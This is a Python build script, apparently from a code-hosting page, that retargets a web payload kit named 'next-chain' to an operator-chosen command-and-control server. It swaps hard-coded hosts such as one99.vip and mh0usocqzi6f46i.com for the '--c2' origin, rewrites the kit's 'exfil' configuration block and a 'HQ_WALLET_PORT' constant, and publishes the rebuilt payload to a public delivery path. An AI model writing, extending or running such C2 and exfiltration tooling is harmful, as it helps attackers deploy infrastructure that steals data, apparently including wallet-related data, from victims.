244 lines
8.2 KiB
Python
244 lines
8.2 KiB
Python
#!/usr/bin/env python3
|
|
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
|
|
|
|
Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
|
|
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
|
|
|
|
php artisan ds:build --c2 http://192.168.31.130:8000
|
|
php artisan ds:build --c2 https://c2.example.com
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import re
|
|
import shutil
|
|
import sys
|
|
from dataclasses import dataclass
|
|
from pathlib import Path
|
|
from urllib.parse import urlparse
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
BUILDER_ROOT = TOOLS.parent
|
|
PROJECT_ROOT = BUILDER_ROOT.parent
|
|
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
|
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
|
|
|
EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
|
|
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
|
|
SKIP_PUBLISH = {"log.html"}
|
|
|
|
|
|
@dataclass(frozen=True)
|
|
class Endpoint:
|
|
host: str
|
|
port: int
|
|
origin: str
|
|
tls: bool
|
|
path: str
|
|
|
|
@property
|
|
def url(self) -> str:
|
|
return self.origin + self.path
|
|
|
|
|
|
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
|
|
parsed = urlparse((raw or "").strip())
|
|
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
|
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
|
|
host = parsed.hostname
|
|
tls = parsed.scheme == "https"
|
|
port = parsed.port or (443 if tls else 80)
|
|
origin = f"{parsed.scheme}://{host}"
|
|
if not ((tls and port == 443) or (not tls and port == 80)):
|
|
origin += f":{port}"
|
|
path = (parsed.path or "").rstrip("/")
|
|
if path and not path.startswith("/"):
|
|
path = "/" + path
|
|
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
|
|
|
|
|
|
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
|
|
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
|
|
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
|
|
return [
|
|
("https://mh0usocqzi6f46i.com:443", c2.origin),
|
|
("http://mh0usocqzi6f46i.com:443", c2.origin),
|
|
("https://mh0usocqzi6f46i.com", c2.origin),
|
|
("http://mh0usocqzi6f46i.com", c2.origin),
|
|
("http://one99.vip:80", c2.origin),
|
|
("https://one99.vip:80", c2.origin),
|
|
("http://one99.vip", c2.origin),
|
|
("https://one99.vip", c2.origin),
|
|
("http://192.168.31.130:8080", c2.origin),
|
|
("https://192.168.31.130:8080", c2.origin),
|
|
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
|
|
('{ host: "one99.vip", port: 80 }', hp),
|
|
('{ host: "192.168.31.130", port: 8080 }', hp),
|
|
(
|
|
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
|
ports,
|
|
),
|
|
(
|
|
'{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
|
|
ports,
|
|
),
|
|
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
|
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
|
('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
|
('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
|
("mh0usocqzi6f46i.com", c2.host),
|
|
("one99.vip", c2.host),
|
|
("192.168.31.130", c2.host),
|
|
]
|
|
|
|
|
|
def rewrite_text(text: str, c2: Endpoint) -> str:
|
|
for old, new in rewrite_pairs(c2):
|
|
if old != new:
|
|
text = text.replace(old, new)
|
|
return text
|
|
|
|
|
|
def patch_config(text: str, c2: Endpoint) -> str:
|
|
flag = "true" if c2.tls else "false"
|
|
|
|
def exfil(_match: re.Match[str]) -> str:
|
|
return (
|
|
"exfil: {\n"
|
|
f' host: "{c2.host}",\n'
|
|
f' domain: "{c2.host}",\n'
|
|
f" http_port: {c2.port},\n"
|
|
f" https_port: {c2.port},\n"
|
|
f" tls: {flag},\n"
|
|
f" prefer_https: {flag},\n"
|
|
" }"
|
|
)
|
|
|
|
patched, n = EXFIL_RE.subn(exfil, text, count=1)
|
|
if n != 1:
|
|
raise SystemExit("source/config.js: missing exfil { ... } block")
|
|
return patched
|
|
|
|
|
|
def rewrite_tree(root: Path, c2: Endpoint) -> int:
|
|
hits = 0
|
|
for path in root.rglob("*"):
|
|
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
|
|
continue
|
|
raw = path.read_text(encoding="utf-8")
|
|
if path.name == "config.js":
|
|
new = patch_config(raw, c2)
|
|
else:
|
|
new = rewrite_text(raw, c2)
|
|
if new != raw:
|
|
path.write_text(new, encoding="utf-8")
|
|
hits += 1
|
|
return hits
|
|
|
|
|
|
def publish(staging: Path, dest: Path) -> None:
|
|
dest = dest.resolve()
|
|
dest.parent.mkdir(parents=True, exist_ok=True)
|
|
tmp = dest.with_name(dest.name + ".building")
|
|
old = dest.with_name(dest.name + ".old")
|
|
if tmp.exists():
|
|
shutil.rmtree(tmp)
|
|
|
|
def ignore(directory: str, names: list[str]) -> set[str]:
|
|
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
|
|
return skip
|
|
|
|
shutil.copytree(staging, tmp, ignore=ignore)
|
|
if dest.exists():
|
|
if old.exists():
|
|
shutil.rmtree(old)
|
|
dest.rename(old)
|
|
try:
|
|
tmp.rename(dest)
|
|
except OSError:
|
|
dest.rename(tmp.with_name(dest.name + ".restore"))
|
|
raise
|
|
shutil.rmtree(old)
|
|
else:
|
|
tmp.rename(dest)
|
|
|
|
|
|
def build(
|
|
source: Path,
|
|
dest: Path,
|
|
c2: str,
|
|
delivery: str | None = None,
|
|
dry_run: bool = False,
|
|
) -> dict:
|
|
if not source.is_dir():
|
|
raise SystemExit(f"source not found: {source}")
|
|
config = source / "config.js"
|
|
if not config.is_file():
|
|
raise SystemExit(f"missing {config}")
|
|
|
|
c2_ep = parse_endpoint(c2, label="--c2")
|
|
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
|
|
|
|
if dry_run:
|
|
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
|
|
if delivery_ep is not None:
|
|
preview = re.sub(
|
|
r'deliveryPath:\s*"[^"]*"',
|
|
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
|
preview,
|
|
count=1,
|
|
)
|
|
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
|
|
|
|
staging = BUILDER_ROOT / "out" / "staging"
|
|
if staging.exists():
|
|
shutil.rmtree(staging)
|
|
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
|
rewrite_tree(staging, c2_ep)
|
|
if delivery_ep is not None:
|
|
cfg = (staging / "config.js").read_text(encoding="utf-8")
|
|
cfg = re.sub(
|
|
r'deliveryPath:\s*"[^"]*"',
|
|
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
|
cfg,
|
|
count=1,
|
|
)
|
|
(staging / "config.js").write_text(cfg, encoding="utf-8")
|
|
publish(staging, dest)
|
|
shutil.rmtree(staging, ignore_errors=True)
|
|
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
|
|
|
|
|
|
def main(argv: list[str] | None = None) -> int:
|
|
ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
|
|
ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
|
|
ap.add_argument("--origin", default="", help="alias of --c2")
|
|
ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
|
|
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
|
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
|
ap.add_argument("--dry-run", action="store_true")
|
|
args = ap.parse_args(argv)
|
|
|
|
c2 = (args.c2 or args.origin or "").strip()
|
|
if not c2:
|
|
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
|
|
|
|
result = build(
|
|
args.source,
|
|
args.dest,
|
|
c2,
|
|
delivery=(args.delivery or "").strip() or None,
|
|
dry_run=args.dry_run,
|
|
)
|
|
print("dry-run" if args.dry_run else "published")
|
|
print(f" c2 {result['c2']}")
|
|
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
|
|
if result.get("dest"):
|
|
print(f" dest {result['dest']}")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|